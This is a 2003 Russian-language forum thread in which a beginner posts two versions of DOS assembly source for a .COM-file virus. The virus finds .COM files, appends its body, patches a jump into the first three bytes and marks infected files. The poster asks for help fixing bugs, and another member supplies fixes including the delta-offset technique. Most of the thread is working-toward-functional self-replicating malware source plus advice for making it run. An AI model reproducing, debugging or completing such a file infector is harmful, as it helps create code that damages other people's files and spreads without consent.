|
|
| Посл.отвђт | Сообщенiе |
|
|
Дата: Мар 31, 2003 16:22:23 я понимаЮ, что мой вопрос есть вопиющее ламерство и недстойное покушение на драгоценные минуты программеров, но в статьях написано, что все когда-то начинают... В свзи с этим вопрос: Эта муть заражает файл и при этом портит его :( Помогите найти ошибку плззз! З.Ы. только, если она логическая, объясните подробно где и в чем, а то я даж асмом занимаюсь сравнительно недавно... респект... з.з.ы. все нижеследующее не есть предмет моей гордости, в есть скромная попытка понять как работают вири, поэтому не ругайтесь сильно.. :) code segment assume cs:code, ds:code, ss:code, es:code org 100h start: jmp vir vir: push ds mov ax, ds add ax, add_to_ds mov ds, ax mov bl, 0 mov cx,3 lea si, old_bytes restore_bytes: mov al, [si] mov cs:[100h][bx], al inc si inc bl loop restore_bytes mov bx, 80h mov cx, 80h lea si, old_dta save_dta: mov al, cs:[bx] mov byte ptr [si], al inc si inc bx loop save_dta ;poisk faila find_first: mov ah, 4eh mov cx, 26h lea dx, maska int 21h jnc xor_si jmp restore_dta find_next: mov ah, 3eh mov dx, bx int 21h jnc dalse jmp restore_dta dalse: mov ah, 4fh int 21h jnc xor_si jmp restore_dta xor_si: lea si, fn mov cx, 12 zero_fn: mov byte ptr [si], 0 inc si loop zero_fn lea si, fn xor bx, bx save_imia: mov al, byte ptr cs:[9eh][bx] cmp al, 0 je open mov byte ptr [si], al inc si inc bl jmp save_imia open: mov ax, 3d02h lea dx, fn int 21h mov bx, ax ; bx-deskriptor(handle)- ne meniat jnc dls jmp restore_dta DLS: mov ax, 4200h xor cx, cx xor dx, dx int 21h mov ah, 3fh lea dx, old_bytes mov cx, 3 int 21h jc close ;rascheti mov ax, cs:[9ch] cmp ax, 0 jnae find_next mov ax, cs:[9ah] mov di, ax test ax, 0fh jz para or ax, 000fh inc ax ;okruglli do paragrafa v bolshyu storony para: push ax push ax mov cl, 4 shr ax, cl mov byte ptr add_to_ds, al mov byte ptr add_to_ds+1, ah pop ax sub ax, 3 mov writ_bytes+1, al mov byte ptr writ_bytes+2, ah ;proverka mov ax, 4200h xor cx, cx mov dx, di dec dx int 21h jc close mov ah, 3fh mov cx,1 ;bx-handle lea dx, last int 21h jc close cmp last, '7' jne infect jmp find_next infect: mov ax, 4200h xor cx, cx xor dx, dx int 21h mov ah, 40h mov cx, 3 lea dx, writ_bytes int 21h mov ax, 4200h xor cx, cx pop dx int 21h mov ah, 40h mov cx, vir_len lea dx, vir int 21h close: mov ah, 3eh mov dx, bx int 21h restore_dta: mov bx, 80h mov cx, 80h lea si, old_dta rest_dta: mov al, [si] mov cs:[bx], al inc si inc bx loop rest_dta pop ds push cs push 100h retf add_to_ds dw 0 old_dta db 128 dup(?) maska db '*.com', 0 fn db 12 dup (?) writ_bytes db 0e9h db 00h db 00h old_bytes db 0e9h dw vir_len last db 0 db '7' ; mes db 'вгв $', 0 vir_len equ $-vir prg_end: mov ah, 4ch int 21h db '7' Code ends end start |
|
|
Дата: Апр 2, 2003 17:42:04 Здравствуй. Насколько мне память не изменяет, ты сейчас пробуешь разобраться с примерчиком из книжки "Пишем вирус и антивирус". Да... было время, я его тоже разбирал. И тоже пару дней убил в тщетной попытке найти ошибку. Скажу сразу - примерчик тот в книжке приведен глючный. Притом, насколько я понял потом, намеренно глючный. А теперь несколько советов : Во-первых, забей на округление размера файла до параграфа. Ставь указатель на конец файла и смело сбрасывай туда свой код. Во-вторых, чтоб определить смещение своего кода в памяти после запуска из зараженной программы, используй конструкцию вида: start: call begin begin: pop si sub si, offset begin После этого ко ВСЕМ своим данным можешь обращаться также, как раньше, но при этом надо писать вместо, скажем, mov ax, my_data вот так : mov ax, [my_data+si] Ну и наконец, пользуйся активно отладчиком (хотя бы тем же Turbo Debugger). В отладчике сам увидишь, в каких регистрах НА САМОМ деле что находится (мало ли что ты написал !) и по каким адресам НА САМОМ деле идет обращение. С наилучшими пожеланиями, Димон |
|
|
Дата: Апр 2, 2003 21:59:00 да,да именно из этой книжки....про этот способ тож где-то слышал, но не полностью... отладчик юзаю...причем с этой дуростью уже дольше 2х дней.... Вот что получилось: code segment assume cs:code, ds:code, ss:code, es:code org 100h start: jmp vir vir: push ds mov ax, ds db 05h add_to_ds: dw 0 mov ds, ax mov bl, 0 mov cx,3 lea si, old_bytes restore_bytes: mov al, [si] mov cs:[100h][bx], al inc si inc bl loop restore_bytes mov bx, 80h mov cx, 80h lea si, old_dta save_dta: mov al, cs:[bx] mov byte ptr [si], al inc si inc bx loop save_dta ;poisk faila find_first: mov ah, 4eh mov cx, 26h lea dx, maska int 21h jnc xor_si jmp restore_dta find_next: mov ah, 3eh mov dx, bx int 21h jnc dalse jmp restore_dta dalse: mov ah, 4fh int 21h jnc xor_si jmp restore_dta xor_si: lea si, fn mov cx, 12 zero_fn: mov byte ptr [si], 0 inc si loop zero_fn lea si, fn xor bx, bx save_imia: mov al, byte ptr cs:[9eh+bx] cmp al, 0 je open mov byte ptr [si], al inc si inc bl jmp save_imia open: mov ax, 3d02h lea dx, fn int 21h mov bx, ax ; bx-deskriptor jnc dls jmp dalse DLS: mov ax, 4200h xor cx, cx xor dx, dx int 21h mov ah, 3fh lea dx, old_bytes mov cx, 3 int 21h jc find_next ;rascheti mov ax, cs:[9ch] cmp ax, 0 jne find_next mov ax, cs:[9ah] mov di, ax test ax, 0fh jz para or ax, 000fh inc ax ;okruglli do paragrafa v bolshyu storony para: push ax push ax mov cl, 4 shr ax, cl mov word ptr add_to_ds, ax pop ax sub ax, 3 mov word ptr writ_bytes+1, ax ;proverka mov ax, 4200h xor cx, cx mov dx, di dec dx int 21h jc close mov ah, 3fh mov cx,1 ;bx-handle lea dx, last int 21h jc close cmp last, '7' jne infect jmp find_next infect: mov ax, 4200h xor cx, cx xor dx, dx int 21h mov ah, 40h mov cx, 3 lea dx, writ_bytes int 21h mov ax, 4200h xor cx, cx pop dx int 21h mov ah, 40h mov cx, vir_len lea dx, vir int 21h close: mov ah, 3eh mov dx, bx int 21h restore_dta: mov bx, 80h mov cx, 80h lea si, old_dta rest_dta: mov al, [si] mov cs:[bx], al inc si inc bx loop rest_dta pop ds push cs mov ax, 100h push ax retf ;add_to_ds dw 0 old_dta db 128 dup(?) maska db 'd:\games\tasm\test\*.com', 0 fn db 12 dup (?) writ_bytes db 0e9h db 00h db 00h old_bytes db 0e9h dw vir_len last db 0 db '7' vir_len equ $-vir prg_end: mov ah, 4ch int 21h db '7' Code ends end start но работает все равно коряво.... Причем я даже знаю в чем ошибка...он при восстановлении файла пишет не первые его 3 байта, а 3й и 2 следующих за ним... т.е. lea si, old_bytes он возвращает, например, не ###Ch, a ###Fh помогите исправить...мож кто видит, где глюк в коде....ПЛЗЗЗ |
|
Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.104 |